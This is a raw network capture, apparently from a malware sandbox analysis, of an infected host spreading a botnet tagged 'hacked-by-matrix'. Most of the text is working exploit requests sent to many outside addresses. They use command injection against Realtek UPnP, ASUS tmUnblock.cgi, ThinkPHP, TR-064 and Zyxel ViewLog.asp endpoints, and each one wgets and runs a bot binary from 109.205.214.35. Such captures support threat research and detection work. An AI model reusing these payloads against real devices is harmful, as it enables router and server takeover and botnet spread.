22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	52966	98.253.217.200	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.738504887 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:24.409288883 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:25.171818018 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:26.675822973 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:29.683811903 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:35.827836990 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:47.862987995 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	41210	88.221.174.29	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.822375059 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:23.981488943 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:18:23 GMT Date: Thu, 21 Mar 2024 04:18:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 64 61 65 64 64 35 38 26 23 34 36 3b 31 37 31 30 39 39 34 37 30 33 26 23 34 36 3b 66 64 31 32 38 38 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1daedd58.1710994703.fd12888</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	51150	31.200.56.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.822781086 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.13	36678	112.185.246.178	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.008686066 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	44282	222.111.247.180	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.114850044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.13	44286	222.111.247.180	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.398835897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.13	38254	169.45.183.12	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.405633926 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.537861109 CET	331	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 21 Mar 2024 04:18:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Mar 21, 2024 05:18:24.537921906 CET	286	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:24 GMT Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.13	51478	178.62.104.190	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.694168091 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:24.850277901 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:18:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c56f04-156" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 7b 9e c2 58 a2 74 9c 13 5d 7e ae 01 6a 28 68 a8 90 63 6f ce 96 6c af 65 6f c8 85 a7 07 27 5c 45 b5 df ac 76 67 a4 19 ee 9f 5f 9f de 3f de 5e 98 a5 e0 cf 77 c3 31 18 1b dc 9c 55 00 56 b2 1e b9 25 4a a5 93 52 7b 5c cc aa b6 22 0a 29 72 5a 68 8c 04 91 9a f2 d8 2c 45 80 2a 24 4e 8d 0a ea 1b a3 5a 4b a3 31 48 c8 19 f3 67 52 17 90 41 b9 7a ae a2 06 61 b0 2a 11 54 4a 2e 5e 9a 1a cb d9 1e 39 61 36 90 47 de 72 56 68 f3 30 72 fc 82 3c 7b 5c 3b eb 8c 81 d8 df b4 b8 fe db 6c b7 8d 05 77 b1 d4 9d da f6 a1 5f 9d 21 7b 60 c2 e2 c8 61 ec d4 54 d0 2f 04 3d 61 ea da 74 ed 3d cc b4 43 de 1f 2b 4d 48 84 a1 22 67 87 df c8 ab 0b 67 bb e3 9f 38 0f f2 e8 ea b7 3d b9 d7 c7 7e 00 d9 11 de 34 56 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{Xt]~j(hcoleo'\Evg_?^w1UV%JR{\")rZh,E$NZK1HgRAzaTJ.^9a6GrVh0r<{\;lw_!{`aT/=at=C+MH"gg8=~4V0
Mar 21, 2024 05:18:24.850333929 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:24 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.13	59234	96.43.76.223	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.727916956 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:25.046974897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:25.175052881 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:18:58 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.13	55544	80.28.215.207	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:24.730710030 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:25.747816086 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:26.931823015 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:27.135134935 CET	1306	IN	HTTP/1.0 403 Forbidden Content-Type: text/html; charset="utf-8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 56 65 72 64 61 6e 61 2c 20 53 61 6e 73 2d 53 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 7d 64 69 76 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 6f 78 20 7b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 32 46 32 46 32 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 31 30 70 78 20 32 30 70 78 20 31 30 70 78 3b 7d 70 20 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 7d 2e 72 65 64 20 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 20 52 65 64 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 61 6e 64 20 7b 68 65 69 67 68 74 3a 20 32 30 70 78 3b 63 6f 6c 6f 72 3a 20 57 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 33 33 33 33 33 3b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 20 30 70 78 20 31 30 70 78 3b 7d 